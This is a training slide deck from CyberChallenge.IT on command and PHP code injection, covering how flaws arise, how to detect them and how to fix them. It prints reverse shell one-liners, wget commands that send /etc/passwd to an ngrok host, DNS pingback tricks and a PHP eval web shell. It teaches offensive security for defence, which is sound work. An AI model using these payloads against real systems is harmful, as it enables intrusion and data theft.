



**CYBER  
CHALLENGE**  
CyberChallenge.IT



**ini**  
**Cybersecurity  
National Lab**

---

## SPONSOR PLATINUM

---

**accenture**security

**aizoon**  
AUSTRALIA  
EUROPE  
USA  
TECHNOLOGY CONSULTING



**EY**  
Building a better  
working world



expri<sup>via</sup> | **ITALTEL**



**LEONARDO**

**NTT data**  
Trusted Global Innovator

**NUMERA**  
SISTEMI E INFORMATICA S.p.A.

**Telsy**

---

## SPONSOR GOLD

---



**MONTE  
DEI PASCHI  
DI SIENA**  
BANCA DAL 1472



**NOVANEXT**  
connecting the future



---

## SPONSOR SILVER

---

**Digi  
ONE**  
the leading  
digital company

**ICT  
CYBER  
CONSULTING**

# Command and Code injections

2

Riccardo Bonafede  
Università di Padova  
bonaff@live.it



<https://cybersecnatlab.it>

# License & Disclaimer

3

## License Information

This presentation is licensed under  
the Creative Commons BY-NC License



To view a copy of the license, visit:

<http://creativecommons.org/licenses/by-nc/3.0/legalcode>

## Disclaimer

- We disclaim any warranties or representations as to the accuracy or completeness of this material.
- Materials are provided “as is” without warranty of any kind, either express or implied, including without limitation, warranties of merchantability, fitness for a particular purpose, and non-infringement.
- Under no circumstances shall we be liable for any loss, damage, liability or expense incurred or suffered which is claimed to have resulted from use of this material.

# Outline

4

- Introduction
- Command Injections
  - General Overview
  - Output Retrieving
- Code Injections
  - General Overview
  - PHP Code Injections
  - Tips and Tricks
- Fixes

# Outline

5

- Introduction
- Command Injections
  - General Overview
  - Output Retrieving
- Code Injections
  - General Overview
  - PHP Code Injections
  - Tips and Tricks
- Fixes

# Introduction

6

- **Code/command execution** is a common flaw that arises when **unsafe input is interpreted/executed** by an application
- The impact of this vulnerability is often **critical** because it is possible to compromise **data confidentiality, data integrity, and data availability**

# Intro

T10

## OWASP Top 10 Application Security Risks – 2017

6

7

- Code/c... arises v... an appl...
- The imp... because... confide...

### A1:2017- Injection

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

### A2:2017-Broken Authentication

Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities temporarily or permanently.

### A3:2017- Sensitive Data Exposure

Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.

### A4:2017-XML External Entities (XXE)

Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.

### A5:2017-Broken Access Control

Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users' accounts, view sensitive files, modify other users' data, change access rights, etc.

### A6:2017-Security Misconfiguration

Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched and upgraded in a timely fashion.

### A7:2017- Cross-Site Scripting (XSS)

XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

### A8:2017- Insecure Deserialization

Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.

### A9:2017-Using Components with Known

Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.

mon flaw that  
eted/executed by  
  
ten critical  
e data  
data availability

# Introduction

8

- Code/Command Injection flaws happen when an application needs
  - **To use external programs**
  - **To evaluate dynamic code**



# Outline

9

- Introduction
- **Command Injections**
  - General Overview
  - Output Retrieving
- Code Injections
  - General Overview
  - PHP Code Injections
  - Tips and Tricks
- Fixes

# Command Injection

10

- A command injection occurs when a web application passes unsafe data to a **system shell**
- Take as example the following line of code

```
system("ping " . $_GET['host']);
```

# Command Injection

11

- The goal of this line of code is to ping a host supplied **by the user**
- For example, if the user puts as host *example.com*, PHP will execute the system command

ping **example.com**

# Command Injection

12

- **If there is no input sanitization**, a rogue user could insert as hostname

`example.com;somecommand`

- In this way, PHP will execute the command

`ping example.com;somecommand`

# Command Injection

13

- Because bash and other system shells interpret the character ";" as a **command separator**, the command **somecommand** will also be executed
- We say that **somecommand** is **injected**

# Command Injection

14

- There are a lot of **special characters** in bash that permit to inject commands
- Other than ";", other command separators are
  - The **newline character** (\n)
  - **Logic operators**
    - **&&** and **||**

# Command Injection

15

- Command substitutions are another way to inject code: they work by **substituting commands enclosed in special delimiters** with their output
- The two main syntaxes are
  - `$(foobar)`      Is `$(whoami)` --> Is `www-data`
  - ``foobar``      Is ``whoami`` --> Is `www-data`

# Command Injection

16

- To find a command injection code in a BlackBox environment, it is necessary to
  - Look at the web application logic. Might it use some external program to implement the services?
  - Input some special characters. Does the application throw an error/fail?



# Command Injection

17

- In a WhiteBox environment, it is easier to find these flaws
- Command injection sinks are easily identifiable
  - Look at the language in which the application is written, and look for all the function/statements that **could execute system commands**
  - Some common functions are
    - **exec**
    - **system**
    - **popen**
    - **backtics (`)**

# Command Injection

18

- Once an entry point that might be vulnerable is found, it is possible to try to inject code
- To do so
  - If the applications throws errors, inject a non-existent command, and look at the error
    - bash: command not found: **non-existent-command**
  - Try with a sleep and look at the response time
    - sleep 5

# Command Injection

19

- Another way is to use a **pingback**
- Pingbacks are back connections on a host which is controlled
- They provide a very powerful way to verify if there are command injection flaws

# Command Injection

20

- To use a pingback, we need a reachable public host
- It is possible to use either a **vps** or a **http/tcp tunneling tool**, like ngrok\*
- To issue a request, use **commonly installed programs like *wget*, *curl* or *netcat/telnet***

```
wget http://host/ping
```

\*refer to the slides on HTTP overview  
on how to set up a ngrok tunnel

# Command Injection

21

- For **injecting into bash**, it is possible to try to open a TCP connection using the **special files** on `/dev/tcp/*`
- Put some data on `/dev/tcp/*host*/*port*`, bash will open a connection on `*host*:*port*` and will send to it that data
- For example
  - `echo Hello World > /dev/tcp/localhost/1337`
  - Will send "Hello World" to the port 1337 on localhost

# Command Injection

22

- Another powerful way to validate a command injection is to issue a **DNS pingback**
- DNS queries are powerful because **they are hardly blacklisted on firewall**
- To create a DNS bin, it is possible to use <http://requestbin.net/dns> or <http://dnsbin.zhack.ca/>

# Command Injection

23

- Requestbin will provide a DNS name like  
\*.d955264982a2216dc0c4.d.requestbin.net
- If we replace the \* symbol with a string, and then issue a DNS resolution, we will see a pingback in the requestbin page with the string just provided

# Command Injection

24

- To trigger a DNS resolution on an injected command, there are several options
  - nc, wget, curl, dig, ping are commands normally installed in Linux distributions and they can issue a DNS resolution
  - For injecting into bash, it is possible to use the command
    - `echo 1 > /dev/tcp/*hostname*/*someport*`



# Outline

25

- Introduction
- **Command Injections**
  - General Overview
  - **Output Retrieving**
- Code Injections
  - General Overview
  - PHP Code Injections
  - Tips and Tricks
- Fixes

# Blind Command Injection

26

- A command injection with no output is called "blind"
- There are some tricks to exfiltrate the output of the command
  - Put the output on a file on a directory that is open to the network
  - Use an out-of-bound connection

# Blind Command Injection

27

- In bash it is possible to use the character ">"
- This character will redirect all *stdout* to a file
- For example

```
cat /etc/passwd > /tmp/foobar
```

# Command Injection

28

- Web directories that are writable and publicly accessible from the internet are
  - Static files web directories
    - Sometimes these are not writable
  - Directories where users upload files
    - These are generally writable, because the web app itself is intended to write on these directories

# Command Injection

29

- An out-of-bound connection generally works well, and it is easier to use than finding a writable directory
- To use it, there are three main methods:
  - **A reverse shell**
  - Issue the output of a command to a **TCP/HTTP request**
  - If there is a strong firewall protection, use a DNS bin
- Of course, these methods require a public reachable host

# Command Injection

30

- To open a reverse shell, expose a TCP server on a public reachable server
- Netcat works pretty well for this  

```
nc -lvp 1337
```
- This command will listen to incoming connections on port 1337, and the port can be changed according to needs

# Command Injection

31

- Then on the injection run this

```
nc -e /bin/bash host port
```

- Depending on the version of netcat, the `-e` parameter might not be implemented. There are other ways to issue the same command, like

```
sh -i >& /dev/tcp/ip/port 0>&1
```

# Command Injection

32

- Then within the injection, run

```
nc -e /bin/bash host port
```

- Depend on the parameter used. There are other parameters, like

```
sh -i >& /dev/tcp/ip/port 0>&1
```

```
ubuntu@ip-172-31-24-48:~$ nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from localhost 54744 received!
$ pwd
/home/ubuntu
$
```



# Command Injection

33

- Command substitution can be used with HTTP to exfiltrate the output

```
wget http://yourhost/$(whoami)
```

```
GET /ubuntu 502 Bad Gateway
```

# Command Injection

34

- It is possible to send files with wget; this command makes very handy to exfiltrate single files

```
wget --post-file /foo/bar http://host/
```

- For example
  - `wget --post-file /etc/passwd http://c8faee97.ngrok.io/`

# Command Injection

less than 20 seconds ago

Duration 1.07ms

IP 35.180.64.1

35

POST /

Summary

Headers

Raw

Binary

Replay

1561 bytes application/x-www-form-urlencoded

Form Params

```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr
/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool
/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr
/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing
List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-
network:x:100:102:systemd Network Management,/,/run/systemd/netif:/usr/sbin
/nologin systemd-resolve:x:101:103:systemd Resolver,/,/run/systemd/resolve:/usr/sbin
/nologin syslog:x:102:106:/:/home/syslog:/usr/sbin/nologin
messagebus:x:103:107:/:/nonexistent:/usr/sbin/nologin _apt:x:104:65534:/:/nonexistent:
/usr/sbin/nologin lxd:x:105:65534:/:/var/lib/lxd/:/bin/false uidd:x:106:110:/:/run/uidd:
/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,/,/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112:/:/var/lib/landscape:/usr/sbin/nologin sshd:x:109:65534:/:/run/sshd:
/usr/sbin/nologin pollinate:x:110:1:/:/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
```

this command  
files

tp://host/

97.ngrok.io/

➤ It is possible  
makes ver

wget --p

➤ For example

➤ wget --pc

# Outline

36

- Introduction
- Command Injections
  - General Overview
  - Output Retrieving
- **Code Injections**
  - **General Overview**
  - PHP Code Injections
  - Tips and Tricks
- Fixes

# Code Injection

37

- Code injection works in the same way as a command injection
- The only difference is that **the injected code will be executed by the application interpreter** instead of a shell

# Code Injection

38

- Common entry points in scripting languages are all **functions/language constructs** that permit to **evaluate code dynamically**
- These functions are standard in all scripting languages and are often called **eval**, **evaluate**, or **assert**

# Code Injection

39

- Code injections are **language dependent**
- Finding them requires knowing in which language the application is written
- If this information is not available, try to find it by inserting special characters which are common in most languages

# Code Injection

40

- These special characters are
  - The **single and double quotes** (' and "), normally used in strings. Putting one of this will often reveal an injection inside a string
  - The **backtick** (`) and the **dollar** (\$) are usually reserved characters that trigger errors
  - The **escape character** (\) usually reveals injections inside strings



# Outline

41

- Introduction
- Command Injections
  - General Overview
  - Output Retrieving
- **Code Injections**
  - General Overview
  - **PHP Code Injections**
  - Tips and Tricks
- Fixes

# PHP Code Injection

42

- Let us focus on **PHP code injection**
- PHP has some other ways to be injected other than inside an eval function

# PHP Code Injection

43

- A common pitfall in PHP is the **include** statement
- It is used to execute other PHP files
- Its syntax is

```
include 'path/to/file';
```

# PHP Code Injection

44

- If user supplied input is directly passed to the include statement, an attacker would be able to execute arbitrary PHP files on the filesystem
  - And on a remote system, using the HTTP protocol. But this behavior is disabled by default for security reason
- We call this type of injection **local file inclusion (LFI)**

# PHP Code Injection

45

- In order to execute arbitrary code, we need to **inject PHP code on a file on the server**
- PHP code is delimited by the tags `<?php ... ?>`
- If these tags are **allowed/not sanitized** code injection can be successful, and there are two main ways to do so:
  - Using a **file upload functionality** to upload a file containing some PHP code, and then include it
  - **File poisoning**

# PHP Code Injection

46

- A *file poisoning* happens when some data of the user is present in a file
- This can happen in many ways, but two common ones are:
  - **System logs:** applications often implement some kind of logging. Nginx/Apache logs are generally not readable by PHP, and custom logs are often used
  - **Local database / caching files:** if the application stores user information inside a local file, it is possible to inject some PHP code on it

# PHP Code Injection

47

- Another way to execute PHP code, is to put a **.php file** inside a remote web directory
- This can happen when some files uploaded by the user are saved on an **executable directory without enforcing a name or an extension**

# Outline

48

- Introduction
- Command Injections
  - General Overview
  - Output Retrieving
- **Code Injections**
  - General Overview
  - PHP Code Injections
  - Tips and Tricks
- Fixes



# Tips & Tricks

49

- When dealing with file poisoning/file upload, keep **payload as simple as possible**
- Try to use a payload that **allows to execute arbitrary code, not commands**
  - This because many times system-related functions are disabled/limited, so do not waste time trying to guess what functions are disabled or not

```
<?php eval($_GET['c']); ?>
```

# Tips & Tricks

50

- If you find that you can use system commands, **use them!**
  - It is easier to use `ls` than coding a custom PHP function for directory listing

# Outline

51

- Introduction
- Command Injections
  - General Overview
  - Output Retrieving
- Code Injections
  - General Overview
  - PHP Code Injections
  - Tips and Tricks
- Fixes

# Fixes

52

- General Rule
  - **Avoid supplying user input to system functions**
  - **Avoid generating code based on user input**
    - There is always a way to avoid to generate code from user input dynamically

# Fixes

53

- If avoiding is not an option, then strongly validate the input
  - Use **whitelists** when possible
  - Use a **proper escaping functions** (*escapeshellarg* from PHP for example)

# Fixes

54

- Another option is to **use a sandbox**
- Sandboxes are execution environments in which code can be run in a limited environment
  - For example, without the access to system functions
- The problem with sandboxes is that it is often possible to escape from them, and even tested ones are not always completely secure

# Command and Code injections

Riccardo Bonafede  
Università di Padova  
bonaff@live.it



<https://cybersecnatlab.it>



**CYBER  
CHALLENGE**  
CyberChallenge.IT



**ini**  
**Cybersecurity  
National Lab**

---

**SPONSOR PLATINUM**

---

**accenture**security

**aizoon**  
AUSTRALIA  
EUROPE  
USA  
TECHNOLOGY CONSULTING



**EY**  
Building a better  
working world



expri<sup>via</sup> | **ITALTEL**



**KPMG**

 **LEONARDO**

**NTT data**  
Trusted Global Innovator

 **NUMERA**  
SISTEMI E INFORMATICA S.p.A.

 **Telsy**

---

**SPONSOR GOLD**

---

**bip.**

  
**CISCO**

 **MONTE  
DEI PASCHI  
DI SIENA**  
BANCA DAL 1472

  
**negg**<sup>®</sup>

**NN NOVANEXT**  
connecting the future

  
**pwc**

---

**SPONSOR SILVER**

---

**Digi  
ONE**  
the leading  
digital company

**ICT  
CYBER  
CONSULTING**